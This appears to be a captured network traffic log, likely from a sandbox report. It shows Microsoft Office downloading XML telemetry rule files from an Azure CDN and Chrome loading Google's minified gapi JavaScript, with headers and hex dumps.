2024-11-13 17:08:18 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:17 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:17 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 2361c5fe-901e-0064-45f6-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170817Z-16547b76f7f4k79zhC1DFWu9y00000000hdg00000000q4ar x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:18 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:18 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170818Z-16547b76f7f7lhvnhC1DFWa2k00000000h9g00000000kkun x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:18 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:18 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: db719d09-901e-005b-33cb-322005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170818Z-16547b76f7f7lhvnhC1DFWa2k00000000h9000000000qggb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:18 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:18 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: aa8338a3-a01e-0021-72a2-34814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170818Z-r178fb8d765dbczshC1DFW33an000000014000000000ns5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:18 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:18 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 2d611ff0-901e-002a-3d01-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170818Z-16547b76f7frbg6bhC1DFWr5400000000ha000000000nw9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 17:08:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:18 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:18 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: aa5f00e8-901e-0029-53a0-34274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170818Z-r178fb8d765pnpzfhC1DFWgn8s00000001bg00000000kvgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:18 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49770	142.250.184.238	443	6996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:19 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-13 17:08:19 UTC	914	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 13 Nov 2024 14:38:42 GMT Expires: Thu, 13 Nov 2025 14:38:42 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 8977 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-13 17:08:19 UTC	464	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-13 17:08:19 UTC	1378	IN	Data Raw: 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 Data Ascii: otype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retur
2024-11-13 17:08:19 UTC	1378	IN	Data Raw: 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 Data Ascii: r b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.ass
2024-11-13 17:08:19 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a Data Ascii: unction(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:
2024-11-13 17:08:19 UTC	1378	IN	Data Raw: 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 Data Ascii: romise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=funct
2024-11-13 17:08:19 UTC	1378	IN	Data Raw: 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 Data Ascii: r("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for
2024-11-13 17:08:19 UTC	1378	IN	Data Raw: 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 Data Ascii: h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return th
